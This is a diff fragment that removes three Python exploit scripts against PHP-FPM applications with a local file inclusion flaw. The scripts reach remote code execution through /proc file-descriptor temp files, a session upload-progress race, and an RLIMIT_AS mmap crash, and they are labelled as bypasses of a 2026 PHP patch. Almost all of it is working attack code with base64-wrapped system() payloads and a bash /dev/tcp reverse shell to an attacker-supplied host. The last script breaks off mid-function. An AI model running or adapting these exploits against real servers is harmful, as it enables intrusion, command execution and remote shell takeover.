||||||
|
|
||||||
|
|
||||||
def discover_pids(host, port, tls, path, count=20):
|
|
||||||
"""Discover FPM worker PIDs by making requests and parsing pid= from response."""
|
|
||||||
pids = set()
|
|
||||||
for _ in range(count):
|
|
||||||
try:
|
|
||||||
sock = tcp_connect(host, port, tls, timeout=10)
|
|
||||||
sock.sendall(
|
|
||||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
resp = recv_all(sock, timeout=3)
|
|
||||||
sock.close()
|
|
||||||
body = body_of(resp)
|
|
||||||
m = re.search(rb"pid=(\d+)", body)
|
|
||||||
if m:
|
|
||||||
pids.add(int(m.group(1)))
|
|
||||||
except Exception:
|
|
||||||
continue
|
|
||||||
return sorted(pids)
|
|
||||||
|
|
||||||
|
|
||||||
def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None):
|
|
||||||
"""Send slow multipart upload to keep temp file FD open."""
|
|
||||||
bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode()
|
|
||||||
|
|
||||||
head = (
|
|
||||||
b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n'
|
|
||||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
|
||||||
+ php_code + b"\n"
|
|
||||||
)
|
|
||||||
file_size = 4 * 1024 * 1024
|
|
||||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
|
||||||
total = len(head) + file_size + len(tail)
|
|
||||||
|
|
||||||
try:
|
|
||||||
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
|
|
||||||
sock.sendall(
|
|
||||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
|
||||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
+ head
|
|
||||||
)
|
|
||||||
if started:
|
|
||||||
started.set()
|
|
||||||
|
|
||||||
sent = 0
|
|
||||||
t0 = time.time()
|
|
||||||
while sent < file_size and (time.time() - t0) < duration:
|
|
||||||
if done and done.is_set():
|
|
||||||
break
|
|
||||||
sock.sendall(b"\x00" * 4096)
|
|
||||||
sent += 4096
|
|
||||||
time.sleep(0.04)
|
|
||||||
sock.sendall(tail)
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
|
|
||||||
try:
|
|
||||||
recv_all(sock, timeout=2)
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
try:
|
|
||||||
sock.close()
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
def lfi_probe(host, port, tls, path, lfi_param, proc_path):
|
|
||||||
"""Send LFI request targeting a /proc path."""
|
|
||||||
lfi_url = f"{path}?{lfi_param}={proc_path}"
|
|
||||||
try:
|
|
||||||
sock = tcp_connect(host, port, tls, timeout=10)
|
|
||||||
sock.sendall(
|
|
||||||
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
resp = recv_all(sock, timeout=5)
|
|
||||||
sock.close()
|
|
||||||
return body_of(resp)
|
|
||||||
except Exception:
|
|
||||||
return b""
|
|
||||||
|
|
||||||
|
|
||||||
def run(args):
|
|
||||||
p = urlparse(args.target)
|
|
||||||
tls = p.scheme == "https"
|
|
||||||
host = p.hostname or "127.0.0.1"
|
|
||||||
port = p.port or (443 if tls else 80)
|
|
||||||
path = p.path or "/"
|
|
||||||
|
|
||||||
if args.trigger_only:
|
|
||||||
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
|
||||||
elif args.cmd:
|
|
||||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
|
||||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
|
||||||
elif args.lhost and args.lport:
|
|
||||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
|
||||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
|
||||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
|
||||||
else:
|
|
||||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
print("=" * 65)
|
|
||||||
print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE")
|
|
||||||
print(" Bypasses patch + upload_progress=0 + session cleanup")
|
|
||||||
print("=" * 65)
|
|
||||||
print(f" Target : {args.target}")
|
|
||||||
print(f" LFI param : {args.lfi_param}")
|
|
||||||
if args.cmd:
|
|
||||||
print(f" Command : {args.cmd}")
|
|
||||||
elif args.lhost:
|
|
||||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# Discover worker PIDs
|
|
||||||
if args.pid:
|
|
||||||
pids = [args.pid]
|
|
||||||
print(f"[*] Using specified PID: {args.pid}")
|
|
||||||
else:
|
|
||||||
print("[*] Discovering FPM worker PIDs...")
|
|
||||||
pids = discover_pids(host, port, tls, path, count=30)
|
|
||||||
if not pids:
|
|
||||||
print("[!] Could not discover PIDs (target may not echo pid)")
|
|
||||||
print(" Try --pid <pid> or --pid-range <start>-<end>")
|
|
||||||
if args.pid_range:
|
|
||||||
start, end = map(int, args.pid_range.split("-"))
|
|
||||||
pids = list(range(start, end + 1))
|
|
||||||
print(f" Using PID range: {start}-{end}")
|
|
||||||
else:
|
|
||||||
sys.exit(1)
|
|
||||||
else:
|
|
||||||
print(f" Found PIDs: {pids}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
fd_range = range(args.fd_start, args.fd_end + 1)
|
|
||||||
|
|
||||||
for attempt in range(args.attempts):
|
|
||||||
print(f"[*] Attempt {attempt+1}/{args.attempts}")
|
|
||||||
|
|
||||||
started = threading.Event()
|
|
||||||
done = threading.Event()
|
|
||||||
|
|
||||||
# Launch slow uploads on multiple threads to occupy workers
|
|
||||||
threads = []
|
|
||||||
for i in range(args.upload_threads):
|
|
||||||
t = threading.Thread(
|
|
||||||
target=slow_upload,
|
|
||||||
args=(host, port, tls, path, php_code, 15.0,
|
|
||||||
started if i == 0 else None, done),
|
|
||||||
daemon=True,
|
|
||||||
)
|
|
||||||
t.start()
|
|
||||||
threads.append(t)
|
|
||||||
|
|
||||||
started.wait(timeout=5)
|
|
||||||
time.sleep(0.5)
|
|
||||||
print(f" {args.upload_threads} slow uploads in progress")
|
|
||||||
|
|
||||||
hit = False
|
|
||||||
for probe_round in range(args.probes):
|
|
||||||
if hit:
|
|
||||||
break
|
|
||||||
for pid in pids:
|
|
||||||
if hit:
|
|
||||||
break
|
|
||||||
for fd in fd_range:
|
|
||||||
proc_path = f"/proc/{pid}/fd/{fd}"
|
|
||||||
rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path)
|
|
||||||
|
|
||||||
if b"CVE2026:" in rbody:
|
|
||||||
text = rbody.decode(errors="replace")
|
|
||||||
if args.trigger_only:
|
|
||||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
|
|
||||||
print(f"\n[+] Code execution confirmed!")
|
|
||||||
if m:
|
|
||||||
print(f" {m.group(1)}")
|
|
||||||
elif args.cmd:
|
|
||||||
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
|
|
||||||
result = m.group(1).strip() if m else text[:500]
|
|
||||||
print()
|
|
||||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
|
||||||
print(result)
|
|
||||||
print("[+] ══════════════════════════════════════════")
|
|
||||||
else:
|
|
||||||
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
|
||||||
|
|
||||||
print()
|
|
||||||
print(f"[+] Via: {proc_path}")
|
|
||||||
print("[+] RCE achieved WITHOUT session poisoning!")
|
|
||||||
print("[+] Bypasses: security patch, upload_progress=0,")
|
|
||||||
print("[+] session cleanup, WAF session rules")
|
|
||||||
print("[+] Only mitigation: disable file uploads entirely,")
|
|
||||||
print("[+] mount /proc with hidepid=2, or fix the LFI")
|
|
||||||
hit = True
|
|
||||||
break
|
|
||||||
|
|
||||||
if not hit and probe_round < args.probes - 1:
|
|
||||||
time.sleep(0.01)
|
|
||||||
|
|
||||||
done.set()
|
|
||||||
for t in threads:
|
|
||||||
t.join(timeout=3)
|
|
||||||
|
|
||||||
if hit:
|
|
||||||
return
|
|
||||||
print(f" No hit — upload may have finished or wrong PID/FD range")
|
|
||||||
|
|
||||||
print()
|
|
||||||
print("[!] All attempts failed.")
|
|
||||||
print(" Try: --pid <known_pid> --fd-start 3 --fd-end 10")
|
|
||||||
print(" Or: --upload-threads 3 --probes 200")
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
ap = argparse.ArgumentParser(
|
|
||||||
description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)",
|
|
||||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
||||||
epilog="""
|
|
||||||
This exploit does NOT use session poisoning. It includes the PHP temp file
|
|
||||||
created during a multipart upload via /proc/<pid>/fd/<N>.
|
|
||||||
|
|
||||||
It bypasses ALL recommended mitigations:
|
|
||||||
- PHP 8.4.27 security patch
|
|
||||||
- session.upload_progress.enabled=0
|
|
||||||
- session.upload_progress.cleanup=1
|
|
||||||
- WAF rules blocking session-related headers
|
|
||||||
|
|
||||||
The only defenses are:
|
|
||||||
- Fix the LFI vulnerability
|
|
||||||
- Mount /proc with hidepid=2 (hides other processes' FDs)
|
|
||||||
- Disable file uploads entirely (not practical for most apps)
|
|
||||||
- Use open_basedir to restrict /proc access
|
|
||||||
|
|
||||||
Examples:
|
|
||||||
%(prog)s -t http://target/app.php --cmd 'id'
|
|
||||||
%(prog)s -t http://target/app.php --cmd 'id' --pid 12345
|
|
||||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
||||||
%(prog)s -t http://target/app.php --trigger-only --pid-range 1-100
|
|
||||||
""")
|
|
||||||
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
|
||||||
ap.add_argument("--cmd", help="Command to execute")
|
|
||||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
|
||||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
|
||||||
ap.add_argument("--trigger-only", action="store_true",
|
|
||||||
help="Confirm vulnerability only")
|
|
||||||
ap.add_argument("--lfi-param", default="page",
|
|
||||||
help="LFI query parameter (default: page)")
|
|
||||||
ap.add_argument("--pid", type=int,
|
|
||||||
help="Known target worker PID")
|
|
||||||
ap.add_argument("--pid-range",
|
|
||||||
help="PID range to brute-force, e.g. 1-100")
|
|
||||||
ap.add_argument("--fd-start", type=int, default=3,
|
|
||||||
help="First FD to probe (default: 3)")
|
|
||||||
ap.add_argument("--fd-end", type=int, default=10,
|
|
||||||
help="Last FD to probe (default: 10)")
|
|
||||||
ap.add_argument("--upload-threads", type=int, default=2,
|
|
||||||
help="Concurrent slow uploads (default: 2)")
|
|
||||||
ap.add_argument("--probes", type=int, default=100,
|
|
||||||
help="LFI probe rounds per attempt (default: 100)")
|
|
||||||
ap.add_argument("--attempts", type=int, default=5,
|
|
||||||
help="Number of attempts (default: 5)")
|
|
||||||
args = ap.parse_args()
|
|
||||||
run(args)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
@@ -1,265 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+
|
|
||||||
|
|
||||||
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
|
|
||||||
fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp()
|
|
||||||
with a soft/hard OOM that ensures proper cleanup.
|
|
||||||
|
|
||||||
However, the session upload progress race condition is NOT fixed by the patch.
|
|
||||||
This is because the race window is inherent to the feature's design:
|
|
||||||
|
|
||||||
1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session
|
|
||||||
file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE)
|
|
||||||
2. The session file contains: upload_progress_<PHP_CODE>|a:5:{serialized_data}
|
|
||||||
3. The data persists on disk for the duration of the file upload
|
|
||||||
4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes
|
|
||||||
5. A concurrent request can include the session file via LFI during this window
|
|
||||||
|
|
||||||
The patch fixes the OOM path (where cleanup was skipped entirely) but does not
|
|
||||||
close this inherent TOCTOU race. The advisory acknowledges this by recommending
|
|
||||||
session.upload_progress.enabled=0 even after patching.
|
|
||||||
|
|
||||||
Requirements:
|
|
||||||
- PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT)
|
|
||||||
- An LFI vector in the target application
|
|
||||||
- Known or guessable session.save_path
|
|
||||||
- Multiple FPM workers (pm.max_children > 1)
|
|
||||||
|
|
||||||
Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
python3 race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
|
||||||
python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import base64
|
|
||||||
import os
|
|
||||||
import re
|
|
||||||
import socket
|
|
||||||
import sys
|
|
||||||
import threading
|
|
||||||
import time
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
|
|
||||||
SESSION_PATHS = [
|
|
||||||
"/tmp",
|
|
||||||
"/tmp/php-sessions",
|
|
||||||
"/var/lib/php/sessions",
|
|
||||||
"/var/lib/php5/sessions",
|
|
||||||
]
|
|
||||||
|
|
||||||
def tcp_connect(host, port, tls, timeout=60):
|
|
||||||
sock = socket.create_connection((host, port), timeout=timeout)
|
|
||||||
if tls:
|
|
||||||
import ssl
|
|
||||||
ctx = ssl.create_default_context()
|
|
||||||
ctx.check_hostname = False
|
|
||||||
ctx.verify_mode = ssl.CERT_NONE
|
|
||||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
|
||||||
return sock
|
|
||||||
|
|
||||||
def recv_all(sock, timeout=5):
|
|
||||||
resp = b""
|
|
||||||
sock.settimeout(timeout)
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
d = sock.recv(8192)
|
|
||||||
if not d:
|
|
||||||
break
|
|
||||||
resp += d
|
|
||||||
except socket.timeout:
|
|
||||||
pass
|
|
||||||
return resp
|
|
||||||
|
|
||||||
def body_of(resp):
|
|
||||||
if b"\r\n\r\n" in resp:
|
|
||||||
return resp.split(b"\r\n\r\n", 1)[1]
|
|
||||||
return resp
|
|
||||||
|
|
||||||
def slow_upload(host, port, tls, path, sid, php_code, duration=10.0):
|
|
||||||
"""Send slow multipart upload to keep session file populated on disk."""
|
|
||||||
bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode()
|
|
||||||
head = (
|
|
||||||
b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
|
||||||
b"\r\n" + php_code + b"\r\n"
|
|
||||||
b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
|
||||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
|
||||||
)
|
|
||||||
file_size = 4 * 1024 * 1024
|
|
||||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
|
||||||
total = len(head) + file_size + len(tail)
|
|
||||||
|
|
||||||
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
|
|
||||||
sock.sendall(
|
|
||||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
|
||||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
|
||||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
+ head
|
|
||||||
)
|
|
||||||
sent = 0
|
|
||||||
t0 = time.time()
|
|
||||||
try:
|
|
||||||
while sent < file_size and (time.time() - t0) < duration:
|
|
||||||
sock.sendall(b"\x00" * 4096)
|
|
||||||
sent += 4096
|
|
||||||
time.sleep(0.04)
|
|
||||||
sock.sendall(tail)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
try:
|
|
||||||
recv_all(sock, timeout=2)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
sock.close()
|
|
||||||
|
|
||||||
|
|
||||||
def lfi_probe(host, port, tls, lfi_path, sid):
|
|
||||||
"""Send LFI request and return response body."""
|
|
||||||
sock = tcp_connect(host, port, tls, timeout=10)
|
|
||||||
sock.sendall(
|
|
||||||
b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
resp = recv_all(sock, timeout=5)
|
|
||||||
sock.close()
|
|
||||||
return resp
|
|
||||||
|
|
||||||
|
|
||||||
def run(args):
|
|
||||||
p = urlparse(args.target)
|
|
||||||
tls = p.scheme == "https"
|
|
||||||
host = p.hostname or "127.0.0.1"
|
|
||||||
port = p.port or (443 if tls else 80)
|
|
||||||
path = p.path or "/"
|
|
||||||
|
|
||||||
spaths = list(SESSION_PATHS)
|
|
||||||
if args.session_path:
|
|
||||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
|
||||||
|
|
||||||
if args.trigger_only:
|
|
||||||
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
|
||||||
elif args.cmd:
|
|
||||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
|
||||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
|
||||||
elif args.lhost and args.lport:
|
|
||||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
|
||||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
|
||||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
|
||||||
else:
|
|
||||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
print("=" * 65)
|
|
||||||
print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)")
|
|
||||||
print(" Session upload progress race — NOT fixed by the 2026-10-21 patch")
|
|
||||||
print("=" * 65)
|
|
||||||
print(f" Target : {args.target}")
|
|
||||||
print(f" LFI param : {args.lfi_param}")
|
|
||||||
if args.cmd:
|
|
||||||
print(f" Command : {args.cmd}")
|
|
||||||
elif args.lhost:
|
|
||||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
for attempt in range(args.attempts):
|
|
||||||
sid = os.urandom(16).hex()
|
|
||||||
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
|
|
||||||
|
|
||||||
t = threading.Thread(
|
|
||||||
target=slow_upload,
|
|
||||||
args=(host, port, tls, path, sid, php_code, 10.0),
|
|
||||||
daemon=True,
|
|
||||||
)
|
|
||||||
t.start()
|
|
||||||
time.sleep(0.3)
|
|
||||||
|
|
||||||
hit = False
|
|
||||||
for i in range(400):
|
|
||||||
if not t.is_alive():
|
|
||||||
break
|
|
||||||
for sp in spaths:
|
|
||||||
sess_file = f"{sp}/sess_{sid}"
|
|
||||||
lfi_path = f"{path}?{args.lfi_param}={sess_file}"
|
|
||||||
try:
|
|
||||||
resp = lfi_probe(host, port, tls, lfi_path, sid)
|
|
||||||
rbody = body_of(resp)
|
|
||||||
if b"CVE2026:" in rbody:
|
|
||||||
if args.trigger_only:
|
|
||||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)",
|
|
||||||
rbody.decode(errors="replace"))
|
|
||||||
print(f"\n[+] Code execution confirmed!")
|
|
||||||
if m:
|
|
||||||
print(f" {m.group(1)}")
|
|
||||||
elif args.cmd:
|
|
||||||
m = re.search(r"CVE2026:(.*?):END",
|
|
||||||
rbody.decode(errors="replace"), re.DOTALL)
|
|
||||||
result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500]
|
|
||||||
print()
|
|
||||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
|
||||||
print(result)
|
|
||||||
print("[+] ══════════════════════════════════════════")
|
|
||||||
else:
|
|
||||||
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
|
||||||
|
|
||||||
print()
|
|
||||||
print("[+] RCE achieved against PATCHED PHP!")
|
|
||||||
print("[+] The 2026-10-21 security patch does NOT fix this.")
|
|
||||||
print("[+] Mitigation: session.upload_progress.enabled=0")
|
|
||||||
hit = True
|
|
||||||
break
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
if hit:
|
|
||||||
break
|
|
||||||
time.sleep(0.005)
|
|
||||||
|
|
||||||
t.join(timeout=2)
|
|
||||||
if hit:
|
|
||||||
return
|
|
||||||
print(f" Race lost")
|
|
||||||
|
|
||||||
print("\n[!] All attempts failed. Try --attempts 20 or --session-path")
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
ap = argparse.ArgumentParser(
|
|
||||||
description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)",
|
|
||||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
||||||
epilog="""
|
|
||||||
This exploit demonstrates that the PHP security patch (2026-10-21)
|
|
||||||
does NOT fix the session upload progress race condition.
|
|
||||||
|
|
||||||
The only effective mitigation is: session.upload_progress.enabled=0
|
|
||||||
|
|
||||||
Examples:
|
|
||||||
%(prog)s -t http://target/app.php --cmd 'id'
|
|
||||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
||||||
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
|
|
||||||
""")
|
|
||||||
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
|
||||||
ap.add_argument("--cmd", help="Command to execute")
|
|
||||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
|
||||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
|
||||||
ap.add_argument("--trigger-only", action="store_true",
|
|
||||||
help="Confirm vulnerability only")
|
|
||||||
ap.add_argument("--lfi-param", default="page",
|
|
||||||
help="LFI query parameter (default: page)")
|
|
||||||
ap.add_argument("--session-path",
|
|
||||||
help="session.save_path on target")
|
|
||||||
ap.add_argument("--attempts", type=int, default=10,
|
|
||||||
help="Race attempts (default: 10)")
|
|
||||||
args = ap.parse_args()
|
|
||||||
run(args)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
@@ -1,312 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched)
|
|
||||||
|
|
||||||
The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with:
|
|
||||||
- Soft OOM: deferred to VM safe point (graceful shutdown)
|
|
||||||
- Hard OOM: immediate _exit(70) when allocation fails during parsing
|
|
||||||
|
|
||||||
However, this patch only intercepts OOM from PHP's memory_limit (zend_mm).
|
|
||||||
When memory_limit=-1 (unlimited) and the OS enforces address space limits via
|
|
||||||
RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during
|
|
||||||
multipart field allocation. This failure goes through a DIFFERENT code path
|
|
||||||
that the patch does NOT cover:
|
|
||||||
|
|
||||||
1. PHP has memory_limit=-1 → no PHP-level OOM possible
|
|
||||||
2. RLIMIT_AS (or cgroup memory limit) restricts process address space
|
|
||||||
3. During multipart parsing, mmap() fails when address space is exhausted
|
|
||||||
4. The failure triggers the OLD vulnerable code path (not the patched one)
|
|
||||||
5. Worker exits with code 1 (not the patched exit code 70)
|
|
||||||
6. Session file persists on disk with attacker-controlled PHP code
|
|
||||||
7. New worker spawns → LFI includes the poisoned session file → RCE
|
|
||||||
|
|
||||||
This is relevant in production because:
|
|
||||||
- Container environments (Docker, k8s) often set memory limits via cgroups
|
|
||||||
- Shared hosting uses RLIMIT_AS to isolate tenants
|
|
||||||
- Admins may set memory_limit=-1 trusting OS-level limits instead
|
|
||||||
- The advisory does NOT mention this bypass path
|
|
||||||
|
|
||||||
Requirements:
|
|
||||||
- PHP-FPM with memory_limit=-1 (or very high)
|
|
||||||
- OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory)
|
|
||||||
- session.upload_progress.enabled=1 (DEFAULT)
|
|
||||||
- An LFI vector in the target application
|
|
||||||
- Known or guessable session.save_path
|
|
||||||
|
|
||||||
Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
|
||||||
python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import base64
|
|
||||||
import os
|
|
||||||
import re
|
|
||||||
import socket
|
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
|
|
||||||
SESSION_PATHS = [
|
|
||||||
"/tmp",
|
|
||||||
"/tmp/php-sessions",
|
|
||||||
"/var/lib/php/sessions",
|
|
||||||
"/var/lib/php5/sessions",
|
|
||||||
]
|
|
||||||
|
|
||||||
|
|
||||||
def tcp_connect(host, port, tls, timeout=120):
|
|
||||||
sock = socket.create_connection((host, port), timeout=timeout)
|
|
||||||
if tls:
|
|
||||||
import ssl
|
|
||||||
ctx = ssl.create_default_context()
|
|
||||||
ctx.check_hostname = False
|
|
||||||
ctx.verify_mode = ssl.CERT_NONE
|
|
||||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
|
||||||
return sock
|
|
||||||
|
|
||||||
|
|
||||||
def recv_all(sock, timeout=5):
|
|
||||||
resp = b""
|
|
||||||
sock.settimeout(timeout)
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
d = sock.recv(8192)
|
|
||||||
if not d:
|
|
||||||
break
|
|
||||||
resp += d
|
|
||||||
except socket.timeout:
|
|
||||||
pass
|
|
||||||
return resp
|
|
||||||
|
|
||||||
|
|
||||||
def body_of(resp):
|
|
||||||
if b"\r\n\r\n" in resp:
|
|
||||||
return resp.split(b"\r\n\r\n", 1)[1]
|
|
||||||
return resp
|
|
||||||
|
|
||||||
|
|
||||||
def build_oom_body(bnd, php_code, field_count=10000, field_size=8192):
|
|
||||||
"""Build multipart body designed to exhaust address space via mmap()."""
|
|
||||||
body = b""
|
|
||||||
body += b"--" + bnd + b"\r\n"
|
|
||||||
body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
|
||||||
body += b"\r\n" + php_code + b"\r\n"
|
|
||||||
|
|
||||||
body += b"--" + bnd + b"\r\n"
|
|
||||||
body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n'
|
|
||||||
body += b"Content-Type: application/octet-stream\r\n\r\n"
|
|
||||||
body += b"\x00" * 4096 + b"\r\n"
|
|
||||||
|
|
||||||
for i in range(field_count):
|
|
||||||
body += b"--" + bnd + b"\r\n"
|
|
||||||
body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n'
|
|
||||||
body += b"\r\n" + b"X" * field_size + b"\r\n"
|
|
||||||
|
|
||||||
body += b"--" + bnd + b"--\r\n"
|
|
||||||
return body
|
|
||||||
|
|
||||||
|
|
||||||
def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size):
|
|
||||||
"""Phase 1: Send massive multipart to trigger mmap() failure and crash worker."""
|
|
||||||
bnd = b"----RLIMITRCE"
|
|
||||||
body = build_oom_body(bnd, php_code, field_count, field_size)
|
|
||||||
|
|
||||||
print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)")
|
|
||||||
|
|
||||||
sock = tcp_connect(host, port, tls)
|
|
||||||
sock.sendall(
|
|
||||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
|
||||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
|
||||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
|
|
||||||
try:
|
|
||||||
sock.sendall(body)
|
|
||||||
except (BrokenPipeError, ConnectionResetError):
|
|
||||||
pass
|
|
||||||
|
|
||||||
resp = b""
|
|
||||||
sock.settimeout(30)
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
d = sock.recv(8192)
|
|
||||||
if not d:
|
|
||||||
break
|
|
||||||
resp += d
|
|
||||||
except (socket.timeout, ConnectionResetError):
|
|
||||||
